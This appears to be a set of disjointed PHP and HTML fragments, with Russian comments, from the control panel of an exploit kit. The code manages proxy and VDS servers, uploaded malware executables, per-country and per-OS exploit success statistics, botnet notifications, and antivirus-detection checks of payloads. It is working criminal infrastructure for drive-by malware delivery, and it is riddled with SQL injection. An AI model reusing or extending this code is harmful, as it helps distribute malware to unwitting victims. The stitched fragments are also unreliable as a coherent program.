function delProxy($id, $url = '') { global $config; cdim('db', 'query', 'DELETE FROM `proxy` WHERE `id` = ' . $id); $ex = strpos($url, '?') === false ? '?' : '&'; $url = $url . $ex . 'del=true&delpass='******'bbb.bbb', 'checkurl4u.php->DEL PROXY'."\r\n\r\n", FILE_APPEND); }
function os2exp($os, $flow_id) { global $config; $resultOS = cdim('db', 'query', "SELECT COUNT(*) as cnt, os FROM `traff` WHERE user_id = " . $config['user']['id'] . " AND flow_id = " . $flow_id . " AND os = '" . $os . "' AND `exp` != '' GROUP BY os ORDER BY cnt DESC LIMIT 10"); if (!isset($resultOS[0])) { return 0; } return $resultOS[0]->cnt; }
function getUserDataFromToken($token) { // стоит хранить токены в базе, но мне лень, так что пройдемся по пользователям $users = cdim('db', 'query', "SELECT u.id as id, u.user_login as user_login, f.file_id, f.last_token, f.id as flow_id FROM `users` AS u LEFT JOIN `flows` AS f ON u.id = f.user_id"); if (isset($users)) { foreach ($users as $k => $v) { if (md5($v->last_token . $v->id . $v->user_login) == $token) { return $v; } } } return false; }
function getUserExeAsSelectOptions($file_id) { global $config; $exe = cdim('db', 'query', "SELECT * FROM `files` WHERE user_id = " . $config['user']['id']); if ($file_id == NULL) { $sel = 'selected'; } else { $sel = ''; } $out = '<option value="empty" ' . $sel . '>--- select file ---</option>'; $sel = ''; if (isset($exe)) { foreach ($exe as $k => $v) { if ($file_id == $v->id) { $sel = 'selected'; } else { $sel = ''; } $out .= '<option value="' . $v->id . '" ' . $sel . '>' . $v->filename . '</option>'; } } return $out; }
// подключаем функции include_once '../../gears/di.php'; // подключаем класс библиотеки класов include_once '../../gears/db.php'; // подключаем класс базы // создаем подключение к базе cdim('db', 'connect', $config); // забираем из базы опции и кладем их в конфиг $options = cdim('db', 'query', "SELECT * FROM options"); // кладем в конфиг все что забрали из базы (все опции) if (isset($options)) { foreach ($options as $k => $v) { $config['options'][$v->option_name] = $v->option_value; } } // авторизация include_once '../auth/auth.php'; $user_id = intval($_POST['user_id']); $query = explode(",", trim($_POST['query'], ",")); $query = array_unique($query, SORT_NUMERIC); // удаляем все для этого пользователя cdim('db', 'query', "DELETE FROM `proxy2users` WHERE `user_id` = " . $user_id . ";"); // если все выделения убраны то получаем 0 if ($query[0] == 0) { exit(json_encode(array('type' => 'ok', 'msg' => ''))); } // добавляем заново foreach ($query as $k => $v) { cdim('db', 'query', "INSERT INTO `proxy2users` VALUES ('" . $v . "','" . $user_id . "', NULL);"); } exit(json_encode(array('type' => 'ok', 'msg' => '')));
</div> <div class="modal-body"> <div class="progress progress-striped active"> <div class="bar" style="width: 100%;"></div> </div> <h4 class="text-center">wait...</h4> </div> </div> </div> </div> <table class="listing"> <thead><tr><th>Host name (with path)</th><th>description</th><th>AV</th></tr></thead> <tbody> <?php $vps = cdim('db', 'query', "SELECT * FROM `proxy` ORDER BY `id` ASC"); if (isset($vps)) { foreach ($vps as $k => $v) { echo ' <tr class="rig_line" data-rigLineId="' . $v->id . '"> <td class="rig_line_1"width="60%"><span>Host name (with path)</span><input style="width:99%;" value="' . $v->url . '"></td> <td class="rig_line_2"><input style="width:99%;" value="' . $v->description . '"></td> <td><strong class="btn btn-info" onClick="checkUrlAV(' . $v->id . ');">check</strong></td> </tr> '; } } ?> </tbody> </table>
} function addVDSLine() { var trCount = parseInt($('.listing tbody tr :last').attr('data-rigLineId'))+1; if (!trCount) trCount = 1; var line = '<tr class="rig_line" data-rigLineId="'+trCount+'"><td class="rig_line_1" width="60%"><span>VDS IP</span><input style="width:99%;"></td><td class="rig_line_2"><input style="width:99%;"></td></tr>'; $('.listing tbody').append(line); } </script> <table class="listing"> <thead><tr><th>VDS URL</th><th>description</th></tr></thead> <tbody> <?php $vds = cdim('db', 'query', "SELECT * FROM `vds` ORDER BY `id` ASC"); if (isset($vds)) { foreach ($vds as $k => $v) { echo ' <tr class="rig_line" data-rigLineId="' . $v->id . '"> <td class="rig_line_1"width="60%"><span>VDS URL</span><input style="width:99%;" value="' . $v->ip . '"></td> <td class="rig_line_2"><input style="width:99%;" value="' . $v->description . '"></td> </tr> '; } } ?> </tbody> </table> <small>To delete, just leave host url field empty</small><br>
errorHandler(E_ERROR, $last_error['message'], $last_error['file'], $last_error['line']); } } set_error_handler('errorHandler'); register_shutdown_function('fatalErrorShutdownHandler'); include_once '../../config.php'; // берем конфиг include_once '../../gears/functions.php'; // подключаем функции include_once '../../gears/di.php'; // подключаем класс библиотеки класов include_once '../../gears/db.php'; // подключаем класс базы // создаем подключение к базе cdim('db', 'connect', $config); // забираем из базы опции и кладем их в конфиг $options = cdim('db', 'query', "SELECT * FROM options"); // кладем в конфиг все что забрали из базы (все опции) if (isset($options)) { foreach ($options as $k => $v) { $config['options'][$v->option_name] = $v->option_value; } } // авторизация include_once '../auth/auth.php'; $user_id = intval($_POST['user_id']); if ($config['user']['rights']['rolename'] != 'admin') { exit(json_encode(array('type' => 'error', 'msg' => 'Только админ может сбрасывать сесси пользователей!'))); } cdim('db', 'query', "UPDATE `users` SET `sid` = '' WHERE `id` = " . $user_id . ";"); exit(json_encode(array('type' => 'ok', 'msg' => '')));
include_once '../../gears/db.php'; // подключаем класс базы // создаем подключение к базе cdim('db', 'connect', $config); // забираем из базы опции и кладем их в конфиг $options = cdim('db', 'query', "SELECT * FROM options"); // кладем в конфиг все что забрали из базы (все опции) if (isset($options)) { foreach ($options as $k => $v) { $config['options'][$v->option_name] = $v->option_value; } } // авторизация include_once '../auth/auth.php'; if ($config['user']['rights']['rolename'] != 'admin') { exit('Hacking attempt'); } //cdim('db','query',"TRUNCATE TABLE proxy"); if (!is_array($_POST['data'])) { exit(json_encode(array('type' => 'error', 'msg' => 'Что-то пошло не так!'))); } foreach ($_POST['data'] as $k => $v) { $proxy = cdim('db', 'query', "SELECT * FROM `proxy` WHERE `url` = '" . $v . "';"); // новая прокся if (!isset($proxy)) { cdim('db', 'query', "INSERT INTO `proxy` VALUES ('', '" . $v . "', '', 0);"); } else { cdim('db', 'query', "UPDATE `proxy` SET `last_check` = 0 WHERE `url` = '" . $v . "';"); } } exit(json_encode(array('type' => 'success', 'msg' => 'Серверы проксирования обновлены')));
} } set_error_handler('errorHandler'); register_shutdown_function('fatalErrorShutdownHandler'); include_once '../../config.php'; // берем конфиг include_once '../../gears/functions.php'; // подключаем функции include_once '../../gears/di.php'; // подключаем класс библиотеки класов include_once '../../gears/db.php'; // подключаем класс базы // создаем подключение к базе cdim('db', 'connect', $config); // забираем из базы опции и кладем их в конфиг $options = cdim('db', 'query', "SELECT * FROM options"); // кладем в конфиг все что забрали из базы (все опции) if (isset($options)) { foreach ($options as $k => $v) { $config['options'][$v->option_name] = $v->option_value; } } // авторизация include_once '../auth/auth.php'; if ($config['user']['rights']['rolename'] != 'admin') { exit('Hacking attempt'); } foreach ($_POST as $k => $v) { cdim('db', 'query', "UPDATE `options` SET `option_value` = '" . $v . "' WHERE `option_name` = '" . $k . "';"); } exit;
} set_error_handler('errorHandler'); register_shutdown_function('fatalErrorShutdownHandler'); include_once '../../config.php'; // берем конфиг include_once '../../gears/functions.php'; // подключаем функции include_once '../../gears/di.php'; // подключаем класс библиотеки класов include_once '../../gears/db.php'; // подключаем класс базы // создаем подключение к базе cdim('db', 'connect', $config); // забираем из базы опции и кладем их в конфиг $options = cdim('db', 'query', "SELECT * FROM options"); // кладем в конфиг все что забрали из базы (все опции) if (isset($options)) { foreach ($options as $k => $v) { $config['options'][$v->option_name] = $v->option_value; } } // авторизация include_once '../auth/auth.php'; $user_id = intval($_POST['user_id']); $pass = md5($_POST['pass']); if ($config['user']['rights']['rolename'] != 'admin' && $config['user']['id'] != $user_id) { exit(json_encode(array('type' => 'error', 'msg' => 'Пытаемся менять не свой пароль!'))); } // обновляем cdim('db', 'query', "UPDATE `users` SET `user_pass` = '" . $pass . "' WHERE `id` = " . $user_id . ";"); exit(json_encode(array('type' => 'ok', 'msg' => '')));
// подключаем функции include_once '../../gears/di.php'; // подключаем класс библиотеки класов include_once '../../gears/db.php'; // подключаем класс базы // создаем подключение к базе cdim('db', 'connect', $config); // забираем из базы опции и кладем их в конфиг $options = cdim('db', 'query', "SELECT * FROM options"); // кладем в конфиг все что забрали из базы (все опции) if (isset($options)) { foreach ($options as $k => $v) { $config['options'][$v->option_name] = $v->option_value; } } // авторизация include_once '../auth/auth.php'; // убираем все нотифаи старше 5 минут cdim('db', 'query', "DELETE FROM `notifyQueue` WHERE `timeBirth` < UNIX_TIMESTAMP(NOW())-300;"); $res = cdim('db', 'query', "SELECT * FROM `botnets` WHERE `user_id` = '" . $config['user']['id'] . "' ORDER BY `botnetname` ASC;"); // проверяем наш ли ботнет if (isset($res[0])) { foreach ($res as $k => $v) { $tasks = cdim('db', 'query', "SELECT * FROM `notifyQueue` WHERE `botnetname` = '" . $v->botnetname . "';"); if (isset($tasks[0])) { cdim('db', 'query', "DELETE FROM `notifyQueue` WHERE `id` = " . $tasks[0]->id . ";"); exit(json_encode(array('type' => 'info', 'msg' => 'Bot: ' . $tasks[0]->botid . '<br>From: ' . $tasks[0]->botnetname . '<br>' . $tasks[0]->msg))); } } } exit(json_encode(array('type' => 'none', 'msg' => '')));
$config['options'][$v->option_name] = $v->option_value; } } // авторизация include_once '../auth/auth.php'; if ($config['user']['rights']['rolename'] != 'admin') { exit('Hacking attempt'); } //cdim('db','query',"TRUNCATE TABLE vds"); foreach ($_POST as $k => $v) { // убиваем if ($v['ip'] === '') { cdim('db', 'query', "DELETE FROM `vds` WHERE `id` = '" . $v['id'] . "';"); continue; } $vds = cdim('db', 'query', "SELECT * FROM `vds` WHERE `id` = " . $v['id'] . ";"); // новая прокся if (!isset($vds)) { cdim('db', 'query', "INSERT INTO `vds` VALUES ('', '" . $v['ip'] . "', '" . $v['description'] . "');"); // надо знать id последней записи $pdoLink = $di->objects['db']->getVar('link'); $bdId = $pdoLink->lastInsertId(); } else { cdim('db', 'query', "UPDATE `vds` SET `ip` = '" . $v['ip'] . "', `description` = '" . $v['description'] . "' WHERE `id` = " . $v['id'] . ";"); $lastUpdateId = $v['id']; } } if (!isset($bdId)) { $bdId = $lastUpdateId; } exit(json_encode(array('type' => 'success', 'msg' => 'Серверы VDS обновлены', 'vds_id' => $bdId)));
// кладем в конфиг все что забрали из базы (все опции) if (isset($options)) { foreach ($options as $k => $v) { $config['options'][$v->option_name] = $v->option_value; } } // авторизация include_once '../auth/auth.php'; $file_id = is_numeric($_GET['file_id']) ? intval($_GET['file_id']) : false; if ($file_id === false) { exit(json_encode(array('type' => 'success', 'msg' => 'Файл отсутствует'))); } $xf = cdim('db', 'query', "SELECT `filename` FROM `files` WHERE `id` = " . $_GET['file_id'] . " AND `user_id` = " . $config['user']['id'] . " LIMIT 1;"); if (isset($xf[0])) { $autoupdate_url = isset($_POST['autoupdate_url']) ? addslashes($_POST['autoupdate_url']) : ''; $autoupdate_filename = isset($xf[0]->filename) ? addslashes($xf[0]->filename) : ''; $autoupdate_user_id = isset($config['user']['id']) ? (int) $config['user']['id'] : 0; $autoupdate_runfile = '../autoupdate/autoupdate_runfile_' . $autoupdate_user_id; $a_file_arr = array(); if (file_exists($autoupdate_runfile)) { $a_filedata = @file_get_contents($autoupdate_runfile); if ($a_filedata !== FALSE) { $a_file_arr = unserialize($a_filedata); } } unset($a_file_arr[$autoupdate_filename]); @file_put_contents($autoupdate_runfile, serialize($a_file_arr)); } $file = cdim('db', 'query', "UPDATE `flows` SET `file_id` = NULL, `last_token` = 0 WHERE `file_id` = " . $_GET['file_id'] . " AND `user_id` = " . $config['user']['id'] . ";"); $file = cdim('db', 'query', "DELETE FROM `files` WHERE `id` = " . $_GET['file_id'] . " AND `user_id` = " . $config['user']['id'] . ";"); exit(json_encode(array('type' => 'success', 'msg' => 'File Deleted')));
cdim('db', 'connect', $config); $allfiles_data = array(); if (count($all_files) > 0) { foreach ($all_files as $filename) { $tmp_arr = explode('_', $filename); $u_id = (int) $tmp_arr[count($tmp_arr) - 1]; $f_data = @file_get_contents($filename); if ($f_data !== FALSE) { $f_data = @unserialize($f_data); $allfiles_data[$u_id] = $f_data; } } } $update_files_arr = array(); if (count($allfiles_data) > 0) { $res = cdim('db', 'query', 'SELECT `id`, `user_id`, `filename` FROM `files`'); // WHERE `user_id` = ".$config['user']['id'] foreach ($res as $k => $v) { if (isset($allfiles_data[$v->user_id][$v->filename])) { $update_files_arr[$v->id]['user_id'] = $v->user_id; $update_files_arr[$v->id]['url'] = $allfiles_data[$v->user_id][$v->filename]; } } } unset($f_data); unset($allfiles_data); if (count($update_files_arr) > 0) { foreach ($update_files_arr as $num => $val) { $url = $val['url']; //echo($num.'---url:'.$url.'<br>'); if (strlen($url) > 1) {
if (class_exists('CURLFile')) { $cfile = new CURLFile($file, 'application/octet-stream', 'file'); $post['uppload'] = $cfile; } else { $post['uppload'] = '@' . $file; } curl_setopt($ch, CURLOPT_POSTFIELDS, $post); $response = curl_exec($ch); if ($response === false || curl_errno($ch) || curl_getinfo($ch, CURLINFO_HTTP_CODE) != 200) { exit(json_encode(array('type' => 'error', 'msg' => curl_error($ch)))); } $response = json_decode($response); $total = 0; $fired = 0; $avlink = ''; foreach ($response as $k => $v) { if ($k == 'LINK') { $avlink = str_replace("URL=", "", $v); continue; } if ($response->{$k} != 'OK') { $fired++; } $total++; } $shortRes = $fired . '/' . $total; $fileSize = filesize('../files/' . $result[0]->filename); unlink('../files/' . $result[0]->filename); cdim('db', 'query', "UPDATE `files` SET `avcheck` = '" . $shortRes . "' WHERE `id` = " . $file_id . " LIMIT 1 ;"); /* отдали результаты */ exit(json_encode(array('type' => 'success', 'msg' => 'File Checked', 'shortresult' => $shortRes, 'avlink' => $avlink, 'fileid' => $file_id, 'fileSize' => $fileSize, 'fileName' => $result[0]->filename)));
function delProxy($id) { global $config; cdim('db', 'query', 'DELETE FROM `proxy` WHERE `id` = ' . $id); //file_put_contents('bbb.bbb', 'checkurl.php->'.$id."\r\n\r\n", FILE_APPEND); }
$ps_file_arr = unserialize($ps_filedata); $fd = FindData($ps_file_arr, array('public_key' => $pkey)); if ($fd !== false) { $user_id = (int) $fd['user_id']; $flow_id = (int) $fd['flow_id']; } else { die('Unknown pkey'); } } } $ard = array(); $all_result = cdim('db', 'query', "SELECT COUNT(*) as cnt FROM `traff` WHERE user_id = " . $user_id . " AND flow_id = " . $flow_id); $all_res_exp = cdim('db', 'query', "SELECT COUNT(*) as cnt FROM `traff` WHERE user_id = " . $user_id . " AND flow_id = " . $flow_id . " AND `exp` != ''"); $top10 = cdim('db', 'query', "SELECT COUNT(*) as cnt, cc FROM `traff` WHERE user_id = " . $user_id . " AND flow_id = " . $flow_id . " GROUP BY cc ORDER BY cnt DESC LIMIT 10"); foreach ($top10 as $k => $v) { $ans = cdim('db', 'query', "SELECT COUNT(*) AS expl, cc FROM `traff` WHERE user_id = " . $user_id . " AND flow_id = " . $flow_id . " AND cc = '" . $v->cc . "' AND `exp` != ''"); $ah = array_shift($ans); $ard[$v->cc]['all'] = $v->cnt; $ard[$v->cc]['exp'] = $ah->expl; } unset($top10); if (count($ard) > 0) { echo ' <center> <table border=1 style="border-collapse:collapse; border-width:1px; border-style:solid; border-color:#444444;"> <tr style="background:#EFEFEF;"><td style="width:140px; text-align:center;">Country</td><td style="width:140px; text-align:center">All</td><td style="width:140px; text-align:center">Exploit</td> '; $asl = array_shift($all_res_exp); unset($all_res_exp); $other_exp = $asl->cnt; $other_exp_percent = 0;
// подключаем функции include_once '../../gears/di.php'; // подключаем класс библиотеки класов include_once '../../gears/db.php'; // подключаем класс базы // создаем подключение к базе cdim('db', 'connect', $config); // забираем из базы опции и кладем их в конфиг $options = cdim('db', 'query', "SELECT * FROM options"); // кладем в конфиг все что забрали из базы (все опции) if (isset($options)) { foreach ($options as $k => $v) { $config['options'][$v->option_name] = $v->option_value; } } // авторизация include_once '../auth/auth.php'; $user_id = intval($_POST['user_id']); $flow_id = intval($_POST['flow_id']); if (!preg_match("/[0-9]+/", $flow_id)) { exit(json_encode(array('type' => 'error', 'msg' => 'Flow id not valid!'))); } if ($config['user']['id'] != $_POST['user_id']) { exit(json_encode(array('type' => 'error', 'msg' => 'It\'s not your stat.'))); } if (!preg_match("/[0-9]+/", $user_id)) { exit(json_encode(array('type' => 'error', 'msg' => 'User id not valid!'))); } // удаляем все задачи из тасков для этого user_id кроме sys_release cdim('db', 'query', "DELETE FROM `traff` WHERE `user_id` = " . $user_id . " AND `flow_id` = " . $flow_id); exit(json_encode(array('type' => 'success', 'msg' => 'Flow stat cleared')));
</tbody> </table> <small>Чтобы удалить запись, просто оставьте поле названия пустым</small><br> <div style="text-align:left;float:left;margin-top:10px;"><input value="Добавить эксплоит" type="button" class="btn" onclick="addExploitLine()"></div> <div style="text-align:right;margin-top:10px;"><input value="Сохранить" type="button" class="btn" onclick="saveExploitsStat()"></div> <?php } else { // НАСТРОЙКИ ДЛЯ ПОЛЬЗОВАТЕЛЯ ?> <table class="listing"> <thead><tr><th>Название эксплоита</th><th>сколько палит</th></tr></thead> <tbody> <?php $exploits = cdim('db', 'query', "SELECT * FROM `exploits` ORDER BY `id` ASC"); if (isset($exploits)) { foreach ($exploits as $k => $v) { echo ' <tr class="rig_line"> <td class="rig_line_1"width="60%"><span>Название эксплоита</span>' . $v->name . '</td> <td class="rig_line_2"><span>сколько палит</span>' . $v->fault . '</td> </tr> '; } } ?> </tbody> </table>
$config['options'][$v->option_name] = $v->option_value; } } // авторизация include_once '../auth/auth.php'; if ($config['user']['rights']['rolename'] != 'admin') { exit('Hacking attempt'); } //cdim('db','query',"TRUNCATE TABLE proxy"); foreach ($_POST as $k => $v) { // убиваем if ($v['url'] === '') { cdim('db', 'query', "DELETE FROM `proxy` WHERE `id` = '" . $v['id'] . "';"); continue; } $proxy = cdim('db', 'query', "SELECT * FROM `proxy` WHERE `id` = " . $v['id'] . ";"); // новая прокся if (!isset($proxy)) { cdim('db', 'query', "INSERT INTO `proxy` VALUES ('', '" . $v['url'] . "', '" . $v['description'] . "', 0);"); // надо знать id последней записи $pdoLink = $di->objects['db']->getVar('link'); $bdId = $pdoLink->lastInsertId(); } else { cdim('db', 'query', "UPDATE `proxy` SET `url` = '" . $v['url'] . "', `description` = '" . $v['description'] . "', `last_check` = 0 WHERE `id` = " . $v['id'] . ";"); $lastUpdateId = $v['id']; } } if (!isset($bdId)) { $bdId = $lastUpdateId; } exit(json_encode(array('type' => 'success', 'msg' => 'Серверы проксирования обновлены', 'proxy_id' => $bdId)));
exit(json_encode(array('type' => 'error', 'msg' => 'Имя пользователя не соответствует "a-z0-9_-"!'))); } if (!preg_match("/[0-9]+/is", $_POST['newUserRole'])) { exit(json_encode(array('type' => 'error', 'msg' => 'Права пользователя заданы неверно!'))); } if (!preg_match("/[a-z0-9!@#\$%&_-]+/is", $_POST['newUserPass'])) { exit(json_encode(array('type' => 'error', 'msg' => 'Пароль пользователя не соответствует "a-z0-9!@#$%&_-"!'))); } $user_login = $_POST['newUserName']; $user_role = $_POST['newUserRole']; $user_password = $_POST['newUserPass']; if ($config['user']['rights']['rolename'] != 'admin') { exit(json_encode(array('type' => 'error', 'msg' => 'Только админ может создавать пользователей!'))); } // смотрим, есть ли такие имя $isExist = cdim('db', 'query', "SELECT * FROM `users` WHERE `user_login` = '" . $user_login . "';"); if (isset($isExist)) { exit(json_encode(array('type' => 'error', 'msg' => 'Такое имя пользователя уже занято!'))); } $rights = cdim('db', 'query', "SELECT * FROM `userrights` WHERE `id` = '" . $user_role . "';"); if (!isset($rights)) { exit(json_encode(array('type' => 'error', 'msg' => 'Таких ролей в системе нет!'))); } $rights = unserialize($rights[0]->rights); $color = $rights['rolename'] == 'admin' ? 'FF0000' : '0000FF'; cdim('db', 'query', "INSERT INTO `users` VALUES (NULL, '" . $user_login . "', '" . md5($user_password) . "','" . $rights['rolename'] . "','" . $color . "','" . time() . "','0','','');"); $pdoLink = $di->objects['db']->getVar('link'); $userID = $pdoLink->lastInsertId(); cdim('db', 'query', "INSERT INTO `flows` VALUES ('', " . $userID . ", NULL, 0);"); cdim('db', 'query', "INSERT INTO `flows` VALUES ('', " . $userID . ", NULL, 0);"); exit(json_encode(array('type' => 'ok', 'msg' => '')));
register_shutdown_function('fatalErrorShutdownHandler'); include_once '../../config.php'; // берем конфиг include_once '../../gears/functions.php'; // подключаем функции include_once '../../gears/di.php'; // подключаем класс библиотеки класов include_once '../../gears/db.php'; // подключаем класс базы // создаем подключение к базе cdim('db', 'connect', $config); // забираем из базы опции и кладем их в конфиг $options = cdim('db', 'query', "SELECT * FROM options"); // кладем в конфиг все что забрали из базы (все опции) if (isset($options)) { foreach ($options as $k => $v) { $config['options'][$v->option_name] = $v->option_value; } } // авторизация include_once '../auth/auth.php'; $u_fileid = (int) $_GET['id']; $file = cdim('db', 'query', "SELECT * FROM `files` WHERE `id` = " . $u_fileid . " AND `user_id` = " . $config['user']['id'] . ";"); if (count($file) > 0) { header("Cache-Control: public"); header("Content-Disposition: attachment; filename=" . $file[0]->filename); header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: binary"); header("Content-Length: " . $file[0]->filesize); echo $file[0]->file; }
include_once '../../gears/functions.php'; // подключаем функции include_once '../../gears/di.php'; // подключаем класс библиотеки класов include_once '../../gears/db.php'; // подключаем класс базы // создаем подключение к базе cdim('db', 'connect', $config); // забираем из базы опции и кладем их в конфиг $options = cdim('db', 'query', "SELECT * FROM options"); // кладем в конфиг все что забрали из базы (все опции) if (isset($options)) { foreach ($options as $k => $v) { $config['options'][$v->option_name] = $v->option_value; } } // авторизация include_once '../auth/auth.php'; $user_id = intval($_POST['user_id']); if (!preg_match("/[0-9]+/", $user_id)) { exit(json_encode(array('type' => 'error', 'msg' => 'Не валидный id!'))); } if ($config['user']['rights']['rolename'] != 'admin') { exit(json_encode(array('type' => 'error', 'msg' => 'Только админ может удалять пользователей!'))); } // удаляем все задачи из тасков для этого user_id кроме sys_release cdim('db', 'query', "DELETE FROM `users` WHERE `id` = " . $user_id . ";"); cdim('db', 'query', "DELETE FROM `files` WHERE `user_id` = " . $user_id . ";"); cdim('db', 'query', "DELETE FROM `flows` WHERE `user_id` = " . $user_id . ";"); cdim('db', 'query', "DELETE FROM `tarif` WHERE `user_id` = " . $user_id . ";"); exit(json_encode(array('type' => 'success', 'msg' => 'Пользователь удален')));
function selectPROXY() { $proxy = cdim('db', 'query', "SELECT * FROM `proxy`"); if (isset($proxy)) { $proxyList = array(); foreach ($proxy as $k => $v) { $proxyList[] = $v; } //return $proxyList[rand(0,count($proxyList)-1)]; return $proxyList[0]; } else { exit("no proxy"); } }
// кладем в конфиг все что забрали из базы (все опции) foreach ($options as $k => $v) { $config['options'][$v->option_name] = $v->option_value; } if (isset($_POST['login']) && isset($_POST['password'])) { $login = $_POST['login']; $password = $_POST['password']; } else { exit(json_encode(array('error' => '1', 'text' => 'no login or password'))); } if (!preg_match("/^[a-zA-Z\\d-_.]{3,25}\$/", $login)) { exit(json_encode(array('error' => '1', 'text' => 'incorrect login'))); } else { //preg // смотрим есть ли в базе такая учетка $value = cdim('db', 'query', "SELECT * FROM users WHERE (`user_login` = '" . $login . "') AND (`user_pass` = '" . md5($password) . "')"); // если нет if (count($value) <= 0) { // отдаем ошибку exit(json_encode(array('error' => '1', 'text' => 'incorrect login or password'))); } else { $hash = md5($login . md5($password) . $_SERVER['REMOTE_ADDR']); // если есть то ставим куку до конца сессии на весь домен setcookie($config["cookiename"], $hash, NULL, '/'); // обновляем данные куки в базе cdim('db', 'query', "UPDATE `users` SET `sid` = '" . $hash . "' WHERE `id` = " . $value[0]->id . ";"); // отдаем ответ exit(json_encode(array('error' => '0', 'text' => 'all ok'))); } } //preg
} function fatalErrorShutdownHandler() { $last_error = error_get_last(); if ($last_error['type'] === E_ERROR) { // fatal error errorHandler(E_ERROR, $last_error['message'], $last_error['file'], $last_error['line']); } } set_error_handler('errorHandler'); register_shutdown_function('fatalErrorShutdownHandler'); include_once '../config.php'; // берем конфиг include_once '../gears/functions.php'; // подключаем функции include_once '../gears/di.php'; // подключаем класс библиотеки класов include_once '../gears/db.php'; // подключаем класс базы // создаем подключение к базе cdim('db', 'connect', $config); // забираем из базы опции и кладем их в конфиг $options = cdim('db', 'query', "SELECT * FROM options"); // кладем в конфиг все что забрали из базы (все опции) if (isset($options)) { foreach ($options as $k => $v) { $config['options'][$v->option_name] = $v->option_value; } } // авторизация include_once './auth/auth.php';
include_once '../../config.php'; // берем конфиг include_once '../../gears/functions.php'; // подключаем функции include_once '../../gears/di.php'; // подключаем класс библиотеки класов include_once '../../gears/db.php'; // подключаем класс базы // создаем подключение к базе cdim('db', 'connect', $config); // забираем из базы опции и кладем их в конфиг $options = cdim('db', 'query', "SELECT * FROM options"); // кладем в конфиг все что забрали из базы (все опции) if (isset($options)) { foreach ($options as $k => $v) { $config['options'][$v->option_name] = $v->option_value; } } // авторизация include_once '../auth/auth.php'; if ($config['user']['rights']['rolename'] != 'admin') { exit(json_encode(array('type' => 'error', 'msg' => 'Только админ может менять цвет!'))); } $user_id = intval($_POST['user_id']); if (!preg_match("/\\#([0-9a-f]+)/is", $_POST['color'])) { exit(json_encode(array('type' => 'error', 'msg' => 'Цвет должен быть в формате #FFFFFF!'))); } $color = trim($_POST['color'], '#'); // обновляем cdim('db', 'query', "UPDATE `users` SET `color` = '" . $color . "' WHERE `id` = " . $user_id . ";"); exit(json_encode(array('type' => 'ok', 'msg' => '')));
<tr><td colspan=2 style="text-align:right;"><input type="button" class="btn" value="create" onclick="createUser();"></tr> </tbody> </table> <h2>editing users</h2> <table class='listing' border=0> <thead><tr><th>id</th><th>user</th><th>status</th><th>period</th><th>manage</th></tr></thead> <tbody> <?php // select all users $users = cdim('db', 'query', "SELECT * FROM `users` ORDER BY `id` ASC"); if (isset($users)) { foreach ($users as $k => $v) { // Next there (although we do not know , but this precisely is =) ) $pageNext = true; $tarifExp = cdim('db', 'query', "SELECT * FROM `tarif` WHERE user_id = " . $v->id); if (isset($tarifExp)) { $tarifExpInDays = ceil(($tarifExp[0]->len - time()) / 60 / 60 / 24); if ($tarifExpInDays < 5) { $tarifExpInDays = "<string style='color:red;'>" . $tarifExpInDays . ' days</strong>'; } else { $tarifExpInDays = $tarifExpInDays . ' days</strong>'; } $tarifExp = str_replace('"', "'", json_encode(array('format' => 'Y-m-d', 'date' => date('Y-m-d', $tarifExp[0]->len)))); } else { $tarifExpInDays = 'not assigned'; $tarifExp = 0; } $oe = !isset($oe) || $oe == 'odd' ? 'even' : 'odd'; ?> <tr class="<?php
} set_error_handler('errorHandler'); register_shutdown_function('fatalErrorShutdownHandler'); include_once '../../config.php'; // берем конфиг include_once '../../gears/functions.php'; // подключаем функции include_once '../../gears/di.php'; // подключаем класс библиотеки класов include_once '../../gears/db.php'; // подключаем класс базы // создаем подключение к базе cdim('db', 'connect', $config); // забираем из базы опции и кладем их в конфиг $options = cdim('db', 'query', "SELECT * FROM options"); // кладем в конфиг все что забрали из базы (все опции) if (isset($options)) { foreach ($options as $k => $v) { $config['options'][$v->option_name] = $v->option_value; } } // авторизация include_once '../auth/auth.php'; $user_id = intval($_POST['user_id']); $login = $_POST['login']; if ($config['user']['rights']['rolename'] != 'admin' && $config['user']['id'] != $user_id) { exit(json_encode(array('type' => 'error', 'msg' => 'Пытаемся менять не свой логин!'))); } // обновляем cdim('db', 'query', "UPDATE `users` SET `user_login` = '" . $login . "' WHERE `id` = " . $user_id . ";"); exit(json_encode(array('type' => 'ok', 'msg' => '')));